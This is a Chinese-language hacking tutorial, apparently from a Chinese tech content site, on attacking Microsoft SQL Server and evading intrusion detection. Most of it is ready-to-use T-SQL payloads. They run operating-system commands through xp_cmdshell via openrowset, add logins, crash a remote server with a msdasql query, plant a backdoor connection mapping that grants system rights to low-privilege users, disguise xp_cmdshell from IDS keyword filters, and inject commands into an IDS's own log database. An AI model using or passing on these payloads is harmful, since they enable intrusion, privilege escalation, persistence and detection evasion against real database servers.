如何實現mssql注入躲避IDS

本篇內容主要講解“如何實現mssql注入躲避IDS”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實用性強。下面就讓小編來帶大家學習“如何實現mssql注入躲避IDS”吧!

1．關于openrowset和opendatasource 
　　可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用法是（包括MSDN的列子）如下： 
select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 

　　可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問，它必須跟在select后面，也就是說需要返回一個recordset 。

　　那么我們能不能利用它調用xp_cmdshell呢？答案是肯定的！ 
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''') 
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell返回的output集合就會提交給前面的select顯示，如果采用默認設置，會返回空集合導致select出錯，命令也就無法執行了。 

　　那么如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作 
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic') 

　　這樣，命令至少會返回select 'OK!'的集合，你的機器商會顯示OK!，同時對方的數據庫內也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于這個方法真正的用處，大家慢慢想吧：P 


　　2．關于msdasql兩次請求的問題 

　　不知道大家有沒有試過用msdasql連接遠程數據庫，當然這個api必須是sqlserver的管理員才可以調用，那么如下 
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2') 

　　當table1和table2的字段數目不相同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗，而系統資源占用一切正常，用pskill殺死 sqlserver進程后，如果不重啟機器，sqlserver要么無法正常啟動，要么時常出現非法操作，我也只是碰巧找到這個bug的，具體原因我還沒有摸透，而且很奇怪的是這個現象只出現在msdasql上，sqloledb就沒有這個問題，看來問題不是在于請求集合數目和返回集合數目不匹配上，應該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧：P 


　　3．可怕的后門 

　　以前在網上看到有人說在sqlserver上留后門可以通過添加triger,jobs或改寫sp_addlogin和sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令 
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''') 

　　這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射，好了，以上的命令運行過后，你會發現哪怕是sqlserver沒有任何權限的guest用戶，運行以上這條命令也一樣能通過！而且權限是 localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個后門了。以上的方法在sqlserver2000 sqlserver2000SP1上通過！ 

　　另外還有一個猜測，不知道大家有沒有注意過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理員賬號連接sqlserver的，如果對方的sqlserver是通過自定義的power user啟動，那么sa的權限就和power user一樣，很難有所大作為，但是我們通過如下的命令 
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')應該可以利用localserver的管理員賬號連接本地sqlserver然后再以這個 賬號的權限執行本地命令了，這是后我想應該能突破sa那個power user權限了。現在的問題是sqloledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用msdasql的方法， 

　　如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放如果能成功被guest利用，將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行：


　　4．利用t-sql騙過ids或攻擊ids 

　　現在的ids已經變得越來越聰明了。 有的ids加入了xp_cmdshell sp_addlogin 的監視，但是畢竟人工智能沒有出現的今天，這種監視總是有種騙人的感覺。

　　先說說欺騙ids: 

　　ids既然監視xp_cmdshell關鍵字，那么我們可以這么做 
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\' 

　　這個代碼相信大家都能看明白，還有xp_cmdshell作為一個store procedure在master庫內有一個id號，固定的，我們也可以這么做 

　　假設這個id=988456 
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\' 

　　當然也可以 
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\' 

　　這種做法排列組合，ids根本不可能做的到完全監視。

　　同理，sp_addlogin也可以這么做。 

　　再說說攻擊ids: 

　　因為ids數據量很大，日至通常備份到常規數據庫，比如sql server。

　　如果用古老的recordset.addnew做法，會嚴重影響ids的性能，因為通過ado做t-sql請求，不但效率高，而且有一部分工作可以交給sql server 去做 

　　通常程序會這么寫 insert table values ('日至內容',...) 

　　那么我們想想看，如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后會變成 
insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir c:\' -- ') 

　　這樣，xp_cmdshell就可以在ids的數據庫運行了 ：） 

　　當然ids是一個嗅嘆器，他會抓所有的報，而瀏覽器提交的時候會把空格變成 。因此， 會被提交到sql server，這樣你的命令就無法執行了。 唯一的辦法就是 
insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ') 

　　用/**/代替空格做間隔符，這樣你的t-sql才能在ids的數據庫內執行。當然也可以用其他語句，可以破壞，備份ids的數據庫到你的共享目錄，呵呵。

　　其實這種方法的原理和攻擊asp是一樣的，只是把空格變成了/**/ 。本來asp是select語句，那么用'就可以屏蔽。現在ids用insert語句，那么用')屏蔽。 

　　好了，其他很多新的入侵語句大家可以自己慢慢想，最好的測試工具就是query analyzer了。

到此，相信大家對“如何實現mssql注入躲避IDS”有了更深的了解，不妨來實際操作一番吧！這里是億速云網站，更多相關內容可以進入相關頻道進行查詢，關注我們，繼續學習！